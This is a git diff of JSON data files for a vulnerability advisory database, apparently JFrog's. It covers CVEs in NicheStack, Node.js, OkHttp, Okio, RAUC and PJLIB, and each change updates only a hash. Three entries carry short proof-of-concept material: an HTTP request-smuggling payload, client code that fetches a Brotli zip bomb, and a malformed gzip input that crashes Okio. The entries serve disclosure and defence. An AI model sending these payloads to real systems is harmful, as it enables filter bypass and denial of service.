\nAn issue was discovered in HCC Nichestack 3.0. The code that generates Initial Sequence Numbers (ISNs) for TCP connections derives the ISN from an insufficiently random source. As a result, an attacker may be able to determine the ISN of current and future TCP connections and either hijack existing ones or spoof future ones. (Proper ISN generation should aim to follow at least the specifications outlined in RFC 6528.)
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-35685 High severity. NicheStack TCP ISNs are generated in a predictable manner","date_published":"2021-08-04","xray_id":"XRAY-194054","vul_id":"CVE-2020-35685","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":9.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack TCP ISNs are generated in a predictable manner","path":"/vulnerabilities/nichestack-tcp-isns-are-generated-in-a-predictable-manner-xray-194054/","content":"Summary
\nNicheStack TCP ISNs are generated in a predictable manner
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC Nichestack 3.0. The code that generates Initial Sequence Numbers (ISNs) for TCP connections derives the ISN from an insufficiently random source. As a result, an attacker may be able to determine the ISN of current and future TCP connections and either hijack existing ones or spoof future ones. (Proper ISN generation should aim to follow at least the specifications outlined in RFC 6528.)
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-35685 High severity. NicheStack TCP ISNs are generated in a predictable manner","date_published":"2021-08-04","xray_id":"XRAY-194054","vul_id":"CVE-2020-35685","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":9.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-tcp-urg-dos-xray-194050/index.json b/assets/data/vulnerabilities/nichestack-tcp-urg-dos-xray-194050/index.json index effa0bdba0..60005b3f2d 100644 --- a/assets/data/vulnerabilities/nichestack-tcp-urg-dos-xray-194050/index.json +++ b/assets/data/vulnerabilities/nichestack-tcp-urg-dos-xray-194050/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack TCP URG DoS","path":"/vulnerabilities/nichestack-tcp-urg-dos-xray-194050/","content":"Summary
\nNicheStack TCP out-of-band urgent data processing DoS
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack TCP out-of-band urgent data processing function invokes a panic function if the pointer to the end of the out-of-band urgent data points out of the TCP segment’s data, which results in DoS (either an infinite loop or interrupt thrown, depending on NicheStack version)
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31400 High severity. NicheStack TCP out-of-band urgent data processing DoS","date_published":"2021-08-04","xray_id":"XRAY-194050","vul_id":"CVE-2021-31400","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack TCP URG DoS","path":"/vulnerabilities/nichestack-tcp-urg-dos-xray-194050/","content":"Summary
\nNicheStack TCP out-of-band urgent data processing DoS
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack TCP out-of-band urgent data processing function invokes a panic function if the pointer to the end of the out-of-band urgent data points out of the TCP segment’s data, which results in DoS (either an infinite loop or interrupt thrown, depending on NicheStack version)
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31400 High severity. NicheStack TCP out-of-band urgent data processing DoS","date_published":"2021-08-04","xray_id":"XRAY-194050","vul_id":"CVE-2021-31400","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-tftp-filename-oob-r-xray-194059/index.json b/assets/data/vulnerabilities/nichestack-tftp-filename-oob-r-xray-194059/index.json index bff8faaec6..b5c3ebd42b 100644 --- a/assets/data/vulnerabilities/nichestack-tftp-filename-oob-r-xray-194059/index.json +++ b/assets/data/vulnerabilities/nichestack-tftp-filename-oob-r-xray-194059/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack TFTP filename OOB-R","path":"/vulnerabilities/nichestack-tftp-filename-oob-r-xray-194059/","content":"Summary
\nNicheStack TFTP filename read out of bounds
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC Embedded InterNiche NicheStack through 4.3. The tfshnd():tftpsrv.c TFTP packet processing function doesn't ensure that a filename is adequately '\\0' terminated; therefore, a subsequent call to strlen for the filename might read out of bounds of the protocol packet buffer (if no '\\0' byte exists within a reasonable range).
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack TFTP server through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-36762 High severity. NicheStack TFTP filename read out of bounds","date_published":"2021-08-04","xray_id":"XRAY-194059","vul_id":"CVE-2021-36762","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack TFTP filename OOB-R","path":"/vulnerabilities/nichestack-tftp-filename-oob-r-xray-194059/","content":"Summary
\nNicheStack TFTP filename read out of bounds
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC Embedded InterNiche NicheStack through 4.3. The tfshnd():tftpsrv.c TFTP packet processing function doesn't ensure that a filename is adequately '\\0' terminated; therefore, a subsequent call to strlen for the filename might read out of bounds of the protocol packet buffer (if no '\\0' byte exists within a reasonable range).
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack TFTP server through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-36762 High severity. NicheStack TFTP filename read out of bounds","date_published":"2021-08-04","xray_id":"XRAY-194059","vul_id":"CVE-2021-36762","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-unknown-http-panic-xray-194055/index.json b/assets/data/vulnerabilities/nichestack-unknown-http-panic-xray-194055/index.json index fe01f2159f..3e3b46b185 100644 --- a/assets/data/vulnerabilities/nichestack-unknown-http-panic-xray-194055/index.json +++ b/assets/data/vulnerabilities/nichestack-unknown-http-panic-xray-194055/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack unknown HTTP panic","path":"/vulnerabilities/nichestack-unknown-http-panic-xray-194055/","content":"Summary
\nNicheStack unknown HTTP requests cause a panic
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack unknown HTTP requests cause a panic
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-27565 High severity. NicheStack unknown HTTP requests cause a panic","date_published":"2021-08-04","xray_id":"XRAY-194055","vul_id":"CVE-2020-27565","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack unknown HTTP panic","path":"/vulnerabilities/nichestack-unknown-http-panic-xray-194055/","content":"Summary
\nNicheStack unknown HTTP requests cause a panic
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack unknown HTTP requests cause a panic
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-27565 High severity. NicheStack unknown HTTP requests cause a panic","date_published":"2021-08-04","xray_id":"XRAY-194055","vul_id":"CVE-2020-27565","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nodejs-http-smuggling-xray-231662/index.json b/assets/data/vulnerabilities/nodejs-http-smuggling-xray-231662/index.json index 74bf8ab3ec..37d5bdfd2e 100644 --- a/assets/data/vulnerabilities/nodejs-http-smuggling-xray-231662/index.json +++ b/assets/data/vulnerabilities/nodejs-http-smuggling-xray-231662/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Node.js llhttp HTTP smuggling","path":"/vulnerabilities/nodejs-http-smuggling-xray-231662/","content":"Summary
\nImproper handling of multi-line Transfer-Encoding headers in Node.js http server leads to HTTP request smuggling
\nComponent
\n\nAffected versions
\nNode.js (, 14.20.0], (, 16.17.0], (, 18.9.0]. Fixed in 14.20.1, 16.17.1 and 18.9.1
\nOriginally, the reported fixed versions were 14.14.0, 16.12.0 and 18.5.0. But it has been discovered that these versions did not fix the issue.
\nDescription
\nNodeJS is an open-source, cross-platform, back-end JavaScript runtime environment that runs on the V8 engine and executes JavaScript code outside a web browser, which was designed to build scalable network applications.
\nNode.js contains an http server implementation, inside its http module. It was discovered that the http server may be vulnerable to HTTP request smuggling under certain scenarios.
The vulnerable scenario involves -
\n- \n
- A back-end Node.js HTTP server (runs
http.createServer) \n - A front-end proxy that passes data to the Node.js HTTP server \n
- The front-end proxy is performing some security check on incoming HTTP data, before passing to the back-end \n
For example for the following request -
\nGET / HTTP/1.1\nTransfer-Encoding: chunked\n , identity\n\n1\na\n0\nNode.js handles multi-line header values incorrectly. An upstream proxy that correctly implements multi-line header values will see the Transfer-Encoding header as chunked , identity, and assume that due to the identity value, the content length is 0 (request body is empty).
On the other hand, due to the bug, the Node.js HTTP server will not process the identity value and treat the encoding as chunked, meaning that Node.js will see the 1 character as part of the request body.
This could lead to filter bypasses, in cases where the front-end proxy is not supposed to forward requests with a non-empty body.
\nPoC
\nGET / HTTP/1.1\nTransfer-Encoding: chunked\n , identity\n\n1\na\n0\n(see description for full explanation)
\nReferences
\nUpdated Hackerone Issue (JFrog)
\n\n\n","description":"CVE-2022-32215 Medium severity. Improper handling of multi-line Transfer-Encoding headers in Node.js http server leads to HTTP request smuggling","date_published":"2022-10-04","xray_id":"XRAY-231662","vul_id":"CVE-2022-32215","severity":"medium","discovered_by":"Zhang Zeyu, Liav Gutman","last_updated":"2022-10-04","cvss":9.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Node.js llhttp HTTP smuggling","path":"/vulnerabilities/nodejs-http-smuggling-xray-231662/","content":"Summary
\nImproper handling of multi-line Transfer-Encoding headers in Node.js http server leads to HTTP request smuggling
\nComponent
\n\nAffected versions
\nNode.js (, 14.20.0], (, 16.17.0], (, 18.9.0]. Fixed in 14.20.1, 16.17.1 and 18.9.1
\nOriginally, the reported fixed versions were 14.14.0, 16.12.0 and 18.5.0. But it has been discovered that these versions did not fix the issue.
\nDescription
\nNodeJS is an open-source, cross-platform, back-end JavaScript runtime environment that runs on the V8 engine and executes JavaScript code outside a web browser, which was designed to build scalable network applications.
\nNode.js contains an http server implementation, inside its http module. It was discovered that the http server may be vulnerable to HTTP request smuggling under certain scenarios.
The vulnerable scenario involves -
\n- \n
- A back-end Node.js HTTP server (runs
http.createServer) \n - A front-end proxy that passes data to the Node.js HTTP server \n
- The front-end proxy is performing some security check on incoming HTTP data, before passing to the back-end \n
For example for the following request -
\nGET / HTTP/1.1\nTransfer-Encoding: chunked\n , identity\n\n1\na\n0\nNode.js handles multi-line header values incorrectly. An upstream proxy that correctly implements multi-line header values will see the Transfer-Encoding header as chunked , identity, and assume that due to the identity value, the content length is 0 (request body is empty).
On the other hand, due to the bug, the Node.js HTTP server will not process the identity value and treat the encoding as chunked, meaning that Node.js will see the 1 character as part of the request body.
This could lead to filter bypasses, in cases where the front-end proxy is not supposed to forward requests with a non-empty body.
\nPoC
\nGET / HTTP/1.1\nTransfer-Encoding: chunked\n , identity\n\n1\na\n0\n(see description for full explanation)
\nReferences
\nUpdated Hackerone Issue (JFrog)
\n\n\n","description":"CVE-2022-32215 Medium severity. Improper handling of multi-line Transfer-Encoding headers in Node.js http server leads to HTTP request smuggling","date_published":"2022-10-04","xray_id":"XRAY-231662","vul_id":"CVE-2022-32215","severity":"medium","discovered_by":"Zhang Zeyu, Liav Gutman","last_updated":"2022-10-04","cvss":9.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/okhttp-client-brotli-dos/index.json b/assets/data/vulnerabilities/okhttp-client-brotli-dos/index.json index 0fa5fd7600..921c4ac82d 100644 --- a/assets/data/vulnerabilities/okhttp-client-brotli-dos/index.json +++ b/assets/data/vulnerabilities/okhttp-client-brotli-dos/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"OkHttp client Brotli DoS","path":"/vulnerabilities/okhttp-client-brotli-dos/","content":"Summary
\nDoS of the OkHttp client when using a BrotliInterceptor and surfing to a malicious web server, or when an attacker can perform MitM to inject a Brotli zip-bomb into an HTTP response
\nComponent
\ncom.squareup.okhttp3:okhttp-brotli
\nAffected versions
\n(,)
\nDescription
\nA DoS issue lies in the intercept() function, if the user added BrotliInterceptor as an interceptor and does not add content encoding, the okhttp client will add the http header for Brotli encoding and will automatically try to decompress responses.\nThe code does not guard against decompression bombs, which could crash the process due to memory exhaustion. With Brotli a file that weight several KBs can be decompressed into 10GB.
PoC
\nThe following client code will crash when surfing to an HTTP server that serves a Brotli zip bomb -
\nimport okhttp3.Call;\nimport okhttp3.OkHttpClient;\nimport okhttp3.Request;\nimport okhttp3.Response;\nimport okhttp3.brotli.BrotliInterceptor;\nimport java.io.IOException;\npublic class JavassistIntTruncationExample\n{\npublic static void main(String argv[]) throws IOException {\n OkHttpClient client = new OkHttpClient.Builder()\n .addInterceptor(BrotliInterceptor.INSTANCE)\n .build();\n Request request = new Request.Builder()\n .url(\"http://127.0.0.1:8080\")\n .build();\n Call call = client.newCall(request);\n Response response = call.execute();\n System.out.println(response.body().bytes().length);\n}\n}\nVulnerability Mitigations
\nRemove any usage of the BrotliInterceptor class. If Brotli functionality is needed, a fixed version of the class can be found here
References
\nhttps://github.com/square/okhttp/issues/7738
\n","description":"CVE-2023-3782, MEDIUM, OkHttp client Brotli DoS","date_published":"2023-07-19","xray_id":"XRAY-526161","vul_id":"CVE-2023-3782","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2023-07-19","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"OkHttp client Brotli DoS","path":"/vulnerabilities/okhttp-client-brotli-dos/","content":"Summary
\nDoS of the OkHttp client when using a BrotliInterceptor and surfing to a malicious web server, or when an attacker can perform MitM to inject a Brotli zip-bomb into an HTTP response
\nComponent
\ncom.squareup.okhttp3:okhttp-brotli
\nAffected versions
\n(,)
\nDescription
\nA DoS issue lies in the intercept() function, if the user added BrotliInterceptor as an interceptor and does not add content encoding, the okhttp client will add the http header for Brotli encoding and will automatically try to decompress responses.\nThe code does not guard against decompression bombs, which could crash the process due to memory exhaustion. With Brotli a file that weight several KBs can be decompressed into 10GB.
PoC
\nThe following client code will crash when surfing to an HTTP server that serves a Brotli zip bomb -
\nimport okhttp3.Call;\nimport okhttp3.OkHttpClient;\nimport okhttp3.Request;\nimport okhttp3.Response;\nimport okhttp3.brotli.BrotliInterceptor;\nimport java.io.IOException;\npublic class JavassistIntTruncationExample\n{\npublic static void main(String argv[]) throws IOException {\n OkHttpClient client = new OkHttpClient.Builder()\n .addInterceptor(BrotliInterceptor.INSTANCE)\n .build();\n Request request = new Request.Builder()\n .url(\"http://127.0.0.1:8080\")\n .build();\n Call call = client.newCall(request);\n Response response = call.execute();\n System.out.println(response.body().bytes().length);\n}\n}\nVulnerability Mitigations
\nRemove any usage of the BrotliInterceptor class. If Brotli functionality is needed, a fixed version of the class can be found here
References
\nhttps://github.com/square/okhttp/issues/7738
\n","description":"CVE-2023-3782, MEDIUM, OkHttp client Brotli DoS","date_published":"2023-07-19","xray_id":"XRAY-526161","vul_id":"CVE-2023-3782","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2023-07-19","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195/index.json b/assets/data/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195/index.json index e1f61eb9c4..071a1bc86f 100644 --- a/assets/data/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195/index.json +++ b/assets/data/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Okio GzipSource unhandled exception Denial of Service","path":"/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195/","content":"Summary
\nOkio GzipSource unhandled exception Denial of Service
\nComponent
\ncom.squareup.okio:okio
\nAffected versions
\n(,3.4.0)
\nDescription
\nGzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.
\nPoC
\nval gzBuf: Buffer = Buffer()\n try {\n val gzByteString: ByteString = (\"1f8b41ff424242424343ffff\").decodeHex()\n gzBuf.write(gzByteString)\n val gz: GzipSource = GzipSource(gzBuf)\n val sinkBuf: Buffer = Buffer()\n gz.read(sinkBuf, 5)\n }\n catch(e: IOException) {\n println(\"got error: \" + e.toString())\n }\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\nhttps://github.com/square/okio/commit/81bce1a30af244550b0324597720e4799281da7b
\n","description":"CVE-2023-3635, MEDIUM, Okio GzipSource unhandled exception Denial of Service","date_published":"2023-07-12","xray_id":"XRAY-523195","vul_id":"CVE-2023-3635","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2023-07-12","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Okio GzipSource unhandled exception Denial of Service","path":"/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195/","content":"Summary
\nOkio GzipSource unhandled exception Denial of Service
\nComponent
\ncom.squareup.okio:okio
\nAffected versions
\n(,3.4.0)
\nDescription
\nGzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.
\nPoC
\nval gzBuf: Buffer = Buffer()\n try {\n val gzByteString: ByteString = (\"1f8b41ff424242424343ffff\").decodeHex()\n gzBuf.write(gzByteString)\n val gz: GzipSource = GzipSource(gzBuf)\n val sinkBuf: Buffer = Buffer()\n gz.read(sinkBuf, 5)\n }\n catch(e: IOException) {\n println(\"got error: \" + e.toString())\n }\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\nhttps://github.com/square/okio/commit/81bce1a30af244550b0324597720e4799281da7b
\n","description":"CVE-2023-3635, MEDIUM, Okio GzipSource unhandled exception Denial of Service","date_published":"2023-07-12","xray_id":"XRAY-523195","vul_id":"CVE-2023-3635","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2023-07-12","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/pengutronix-rauc-signature-bypass-xray-194062/index.json b/assets/data/vulnerabilities/pengutronix-rauc-signature-bypass-xray-194062/index.json index bfb9f5a3f7..10c06fd4d9 100644 --- a/assets/data/vulnerabilities/pengutronix-rauc-signature-bypass-xray-194062/index.json +++ b/assets/data/vulnerabilities/pengutronix-rauc-signature-bypass-xray-194062/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Pengutronix RAUC signature bypass","path":"/vulnerabilities/pengutronix-rauc-signature-bypass-xray-194062/","content":"Summary
\nToCToU in Pengutronix RAUC allows attackers to bypass signature verification
\nComponent
\n\nAffected versions
\nRAUC (, 1.5), fixed in 1.5
\nDescription
\nThe Pengutronix RAUC (\"Robust Auto-Update Controller\") is an open-source update client intended for Linux-based embedded devices, with support for many types of common bootloaders and filesystems.
\nAttackers can modify the update file during the installation process to make RAUC install an arbitrary, unverified payload. The attackers have to modify the update file to exploit the vulnerability, so they must either run code on the device with permissions to modify the file or have physical access to the storage. If RAUC accepts updates from the network, stores them in a single location, and is configured not to prevent repeated uploads while an installation is in progress, the vulnerability can be exploited remotely. The example CGI interface provided by RAUC does not allow repeated uploads.
\nThe RAUC function check_bundle() in module install.c uses OpenSSL to verify the file's signature, but it then closes the bundle file and does not retain its contents in any way. Another function, mount_bundle(), is then called to extract the contents of the update image. This function opens the file with a new sub-process and rereads its content from storage, making a time-of-check to time-of-use attack possible, since the attacker can replace or modify the update file in the period of time before the invocation of mount_bundle().
The vulnerability was discovered by JFrog researchers.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Vulnerability Discovered in RAUC Embedded Firmware Update
\n\n","description":"CVE-2020-25860 Medium severity. ToCToU in Pengutronix RAUC allows attackers to bypass signature verification","date_published":"2020-12-21","xray_id":"XRAY-194062","vul_id":"CVE-2020-25860","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2020-12-21","cvss":6.6}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Pengutronix RAUC signature bypass","path":"/vulnerabilities/pengutronix-rauc-signature-bypass-xray-194062/","content":"Summary
\nToCToU in Pengutronix RAUC allows attackers to bypass signature verification
\nComponent
\n\nAffected versions
\nRAUC (, 1.5), fixed in 1.5
\nDescription
\nThe Pengutronix RAUC (\"Robust Auto-Update Controller\") is an open-source update client intended for Linux-based embedded devices, with support for many types of common bootloaders and filesystems.
\nAttackers can modify the update file during the installation process to make RAUC install an arbitrary, unverified payload. The attackers have to modify the update file to exploit the vulnerability, so they must either run code on the device with permissions to modify the file or have physical access to the storage. If RAUC accepts updates from the network, stores them in a single location, and is configured not to prevent repeated uploads while an installation is in progress, the vulnerability can be exploited remotely. The example CGI interface provided by RAUC does not allow repeated uploads.
\nThe RAUC function check_bundle() in module install.c uses OpenSSL to verify the file's signature, but it then closes the bundle file and does not retain its contents in any way. Another function, mount_bundle(), is then called to extract the contents of the update image. This function opens the file with a new sub-process and rereads its content from storage, making a time-of-check to time-of-use attack possible, since the attacker can replace or modify the update file in the period of time before the invocation of mount_bundle().
The vulnerability was discovered by JFrog researchers.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Vulnerability Discovered in RAUC Embedded Firmware Update
\n\n","description":"CVE-2020-25860 Medium severity. ToCToU in Pengutronix RAUC allows attackers to bypass signature verification","date_published":"2020-12-21","xray_id":"XRAY-194062","vul_id":"CVE-2020-25860","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2020-12-21","cvss":6.6}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/pjlib-pjsua-call-dump-dos-xray-198028/index.json b/assets/data/vulnerabilities/pjlib-pjsua-call-dump-dos-xray-198028/index.json index 0f37439f56..1be611ad3d 100644 --- a/assets/data/vulnerabilities/pjlib-pjsua-call-dump-dos-xray-198028/index.json +++ b/assets/data/vulnerabilities/pjlib-pjsua-call-dump-dos-xray-198028/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"PJLIB pjsua_call_dump DoS","path":"/vulnerabilities/pjlib-pjsua-call-dump-dos-xray-198028/","content":"Summary
\nBuffer overflow in PJSUA leads to denial of service when invoking pjsua_call_dump with malicious input.
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43303 is a buffer overflow vulnerability in pjsua_call_dump - a function that dumps call statistics to a given buffer:
Attackers that can remotely control the size of the buffer argument of pjsua_call_dump may cause a denial of service (specifically, the allocated buffer size needs to be smaller than 128 bytes).
The function uses the tmp variable in order to store the statistics temporarily and then copies it to the output argument buffer without validating that maxlen is at most len (which can be up to 128).\nThis can lead to a buffer overflow if the capacity of the given buffer parameter is smaller than len.
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43303 Medium severity. Buffer overflow in PJSUA leads to denial of service","date_published":"2022-03-01","xray_id":"XRAY-198028","vul_id":"CVE-2021-43303","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"PJLIB pjsua_call_dump DoS","path":"/vulnerabilities/pjlib-pjsua-call-dump-dos-xray-198028/","content":"Summary
\nBuffer overflow in PJSUA leads to denial of service when invoking pjsua_call_dump with malicious input.
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43303 is a buffer overflow vulnerability in pjsua_call_dump - a function that dumps call statistics to a given buffer:
Attackers that can remotely control the size of the buffer argument of pjsua_call_dump may cause a denial of service (specifically, the allocated buffer size needs to be smaller than 128 bytes).
The function uses the tmp variable in order to store the statistics temporarily and then copies it to the output argument buffer without validating that maxlen is at most len (which can be up to 128).\nThis can lead to a buffer overflow if the capacity of the given buffer parameter is smaller than len.
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43303 Medium severity. Buffer overflow in PJSUA leads to denial of service","date_published":"2022-03-01","xray_id":"XRAY-198028","vul_id":"CVE-2021-43303","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/pjlib-pjsua-player-create-rce-xray-198024/index.json b/assets/data/vulnerabilities/pjlib-pjsua-player-create-rce-xray-198024/index.json index 14290ca510..bb652e7650 100644 --- a/assets/data/vulnerabilities/pjlib-pjsua-player-create-rce-xray-198024/index.json +++ b/assets/data/vulnerabilities/pjlib-pjsua-player-create-rce-xray-198024/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"PJLIB pjsua_player_create RCE","path":"/vulnerabilities/pjlib-pjsua-player-create-rce-xray-198024/","content":"Summary
\nStack overflow in PJLIB leads to remote code execution when invoking pjsua_player_create with malicious input
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43299 was found in pjsua_player_create (OO wrapper - AudioMediaPlayer::createPlayer) which creates a file player and automatically adds this player to the conference bridge.
Attackers that can remotely control the contents of the filename argument of pjsua_player_create may cause remote code execution.
This function contains a stack overflow vulnerability when filename->ptr is being copied to path without verifying that filename->slen (the filename size) is at most path’s allocated size which is PJ_MAXPATH (260). Therefore, passing a filename longer than 260 characters will cause a stack overflow.
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43299 High severity. Stack overflow in PJSUA leads to remote code execution","date_published":"2022-03-01","xray_id":"XRAY-198024","vul_id":"CVE-2021-43299","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":8.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"PJLIB pjsua_player_create RCE","path":"/vulnerabilities/pjlib-pjsua-player-create-rce-xray-198024/","content":"Summary
\nStack overflow in PJLIB leads to remote code execution when invoking pjsua_player_create with malicious input
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
